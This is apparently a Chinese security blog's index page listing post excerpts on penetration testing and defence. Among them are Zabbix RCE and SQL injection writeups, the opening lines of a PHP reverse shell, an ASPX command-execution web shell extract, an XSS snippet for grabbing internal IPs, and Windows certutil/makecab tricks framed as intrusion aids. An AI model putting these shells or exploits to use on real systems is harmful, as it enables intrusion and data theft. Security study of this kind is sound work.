serverxx0的博客_黑客攻防,病毒木马,网络监控,安全,Web Application,python,Web Security

原创内容doc文档备份到github

github

置顶原创点赞0 阅读1189 收藏0 评论0 2015-12-16

漏洞演练平台

http://www.mmeit.be/bWAPP/https://github.com/710leo/ZVulDrillhttp://www.dvwa.co.uk/http://sourceforge.net/projects/dvwa-wooyun/https://github.com/Audi-1/sqli-labs

漏洞演练

置顶原创点赞0 阅读1522 收藏0 评论0 2015-09-06

Web漏洞检测及修复方案

1. 注入漏洞1.1 SQL注入漏洞1.2 XSS漏洞1.3 命令注入漏洞1.4 HTTP响应头注入漏洞1.5 跳转漏洞1.6 XML注入漏洞2. 信息泄漏漏洞2.1 PHPInfo()信息泄漏漏洞2.2 测试页面泄漏在外网漏洞2.3 备份文件泄漏在外网漏洞2.4 版本管理工具文件信息泄漏漏洞2.5 HTTP认证泄漏漏洞2.6 管理后台泄漏漏洞2.7 泄漏员工电子邮箱漏洞以及分机号码2.8 错误详

安全性

置顶原创点赞0 阅读3137 收藏2 评论0 2015-07-22

国内网站监控分析网站

360网站服务监控http://jk.cloud.360.cn/阿里云监控http://www.aliyun.com/product/jiankong/DNSPod监控https://www.dnspod.cn/百度云观测http://ce.baidu.com/监控宝http://www.jiankongbao.com/小蜜蜂网站检测http://www.webxmf.com/我的E站http:/

百度

监控

网站

检测

阿里云

置顶原创点赞0 阅读1842 收藏0 评论0 2015-03-04

dns数据

https://scans.io/study/sonar.fdns

dns数据

置顶原创点赞0 阅读1043 收藏0 评论0 2015-07-21

我的友情链接

jzking121' blog老徐的私房菜老徐的私房菜老徐的私房菜老徐的私房菜王伟游造技术博客吟—技术交流Free Linux, Share Linux

原创点赞0 阅读1071 收藏0 评论0 2017-11-22

PSEXEC执行命令原理分析

ipc$连接释放Psexesvc.exeOpenSCManager打开受害者机器上服务控制管理器的句柄CreateService创建服务获取服务句柄OpenService使用StartService启动服务

受害者

安全技术

原创点赞0 阅读4874 收藏0 评论0 2016-11-15

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

漏洞来源: https://www.exploit-db.com/exploits/39937/攻击成本：高危害程度：低(此洞需要密码)利用条件: 需要高权限用户登录影响范围：2.2 < 3.0.3tips: 此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。此exp并不是很完美,因为不

Linux

Software

成本

原创点赞0 阅读2696 收藏1 评论0 2016-08-18

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60攻击成本：低危害程度：高利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3修复建议: 禁用guest用户或者升级到3.0.4漏洞利用: 爆密码 &

zabbix

注入漏洞

原创点赞0 阅读1636 收藏1 评论0 2016-08-18

js获取浏览器类型

浏览器

种类

原创点赞0 阅读990 收藏0 评论0 2016-04-20

利用微信企业号进行告警

# -*- coding: UTF-8 -*- # __author__ = sanr # __email__ = 5754190@qq.cn' # __version__ = 0.1 import requests imp

content

version

please

原创点赞0 阅读1047 收藏1 评论0 2016-04-14

pip自动生成requirements.txt依赖关系清单

pip freeze > requirements.txt

安全技术

pip

原创点赞0 阅读4527 收藏0 评论0 2016-03-14

内网主机存活扫描[Android]

NetXFing – Network Tools功能:显示每个设备的 IP 地址、Mac 地址、制造商、Bonjour 名等等，支持网络唤醒、关机等操作区别:两者无太大区别,非要说区别NetX的颜值高点。

网络

主机

Network

Android

制造商

转载点赞0 阅读1378 收藏1 评论0 2016-03-07

pip被墙，修改国内源方法

找到C:\Users\Administrator新建pip文件夹，新建pip.ini文件填写以下内容[global]index-url = http://pypi.douban.com/simple[install]trusted-host = pypi.douban.com

文件夹

新建

Users

原创点赞0 阅读3021 收藏0 评论1 2016-02-26

xss-利用webrtc获取内网IP

xss.js function getIPs(callback){ var ip_dups = {}; &

xss

webrtc

获取内网

原创点赞0 阅读6457 收藏0 评论0 2016-01-13

恶意软件流量检测系统

maltrail是一个通过流量监测出恶意软件的程序，通过公开的含有恶意软件的黑名单，通过对用户的网络访问请求进行分析，判断其使用访问了恶意软件的服务器地址，下载链接，可疑域名，可疑文件名来判断是否遭受了恶意软件的感染。https://github.com/stamparm/maltrail

软件

服务器

黑名单

流量检测

下载链接

转载点赞0 阅读2485 收藏0 评论0 2016-01-12

Cuckoo恶意软件自动化分析系统

Cuckoo是一款开源的自动化恶意软件分析系统，目前主要用于分析windows平台下的恶意软件，但其框架同时支持Linux和Mac OS。cuckoo能够自动化获取如下信息：1.能够跟踪恶意软件进程及其产生的所有进程的win32 API调用记录；2.能够检测恶意软件的文件创建、删除和下载；3.能够获取恶意软件进程的内存镜像；4.能够获取系统全部内存镜像，方便其他工具进行进一步分析；5.能够以pac

windows

Office

python

压缩文件

执行文件

转载点赞0 阅读1543 收藏0 评论0 2016-01-12

php-reverse-shell

window、linux通用 <?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $os = substr(PHP_OS,0,3); $ipaddr = '192.168.182.128';

linux

window

通用

转载点赞1 阅读1983 收藏0 评论1 2016-01-10

Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="c#" runat="server"&

代码

false

提取执行

原创点赞0 阅读10000+ 收藏0 评论0 2016-01-06

安全日志分析

离线分析缺点:特征匹配 1.误报大 logswan 360星图 elk时时分析 splunk

日至分析

原创点赞1 阅读1203 收藏0 评论1 2015-12-17

员工安全意识导致入侵

攻击手法:在我们做渗透的过程中，往往通过员工能搞定很多的企业，拿到核心的数据库，最常见的如以下几种情况。 1.密码一条龙由于很多的互联网数据库被黑客入侵，在互联网或地下圈子流传，通过信息查询到某个公司员工邮箱，电话，姓名等可以从社工库查询到已使用的密码，而所有网站及公司系统使用的账户都同属于一个密

互联网

个人电脑

百度文库

一条龙

原创点赞0 阅读1030 收藏0 评论0 2015-12-16

我劫持你的dns

这篇文章把Dns分为两种，一种是主机或嵌入式设备dns，一种是网站域名dns，来讲述dns沦陷之后带来的危害。一：路由器dns劫持你本地的网络连接的dns是通过路由器获取的，假如有一天你家里的路由被黑客入侵了，入侵者修改了你家里路由器的dns,那么他可以对你访问记录非常清楚，如系在文件，流量记录。既然解析都通过dns，我们完全可以自建dns，来进

路由器

嵌入式

网络连接

chrome

原创推荐点赞4 阅读10000+ 收藏2 评论1 2015-12-16

仿Fiddler的Chrome插件

类似live http 优点:界面比较美观https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka?hl=en

Chrome

原创点赞0 阅读3001 收藏0 评论0 2015-12-14

win命令行打包文件(系统自带渗透必备)

压缩一个文件： makecab c:\ls.exe ls.zip 解压一个文件： expand c:\ls.zip c:\ls.exe-------------------------------------------------------------------------------------------压缩一个文件： makecab PELoad

第三方

原创点赞0 阅读6808 收藏0 评论0 2015-12-04

win命令行base64编码(系统自带内网渗透必备哟)

certutil对demo.7z进行base64编码将编码的程序还原

程序

原创点赞1 阅读10000+ 收藏1 评论0 2015-10-27

http_banner获取2.0

更新如下端口可自定义默认80线程可自定义默认10使用了队列存消息#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = '5754190@qq.com' # __url__ =

email

return

import

version

原创点赞0 阅读2350 收藏0 评论0 2015-10-10

免费开源的堡垒机

JumpServer http://www.jumpserver.org/CrazyEye https://github.com/triaquae/CrazyEye

堡垒机

原创点赞1 阅读4229 收藏0 评论0 2015-10-10

http_banner获取v0.3

更新:1.使用optparse来获取命令行参数#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = '5754190@qq.com' # __url__ = 'http

email

return

import

version

原创点赞0 阅读1296 收藏0 评论0 2015-10-09

http_banner获取v0.2

#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = '5754190@qq.com' # __url__ = 'http://0x007.blog.51cto.com

email

return

import

version

原创点赞0 阅读8439 收藏0 评论0 2015-10-05

C段http_banner获取

#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = '5754190@qq.com' # __url__ = 'http://0x007.blog.51cto.com

email

智能

return

import

version

原创点赞0 阅读1897 收藏0 评论0 2015-09-30

官方博客	意见反馈	了解我们	全部文章
在线客服	网站地图	热门标签

51CTO博客

Sanr

原创内容doc文档备份到github

漏洞演练平台

Web漏洞检测及修复方案

国内网站监控分析网站

dns数据

我的友情链接

PSEXEC执行命令原理分析

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

js获取浏览器类型

利用微信企业号进行告警

pip自动生成requirements.txt依赖关系清单

内网主机存活扫描[Android]

pip被墙，修改国内源方法

xss-利用webrtc获取内网IP

恶意软件流量检测系统

Cuckoo恶意软件自动化分析系统

php-reverse-shell

Aspxspy中提取执行cmd命令的代码

安全日志分析

员工安全意识导致入侵

我劫持你的dns

仿Fiddler的Chrome插件

win命令行打包文件(系统自带渗透必备)

win命令行base64编码(系统自带内网渗透必备哟)

http_banner获取2.0

免费开源的堡垒机

http_banner获取v0.3

http_banner获取v0.2

C段http_banner获取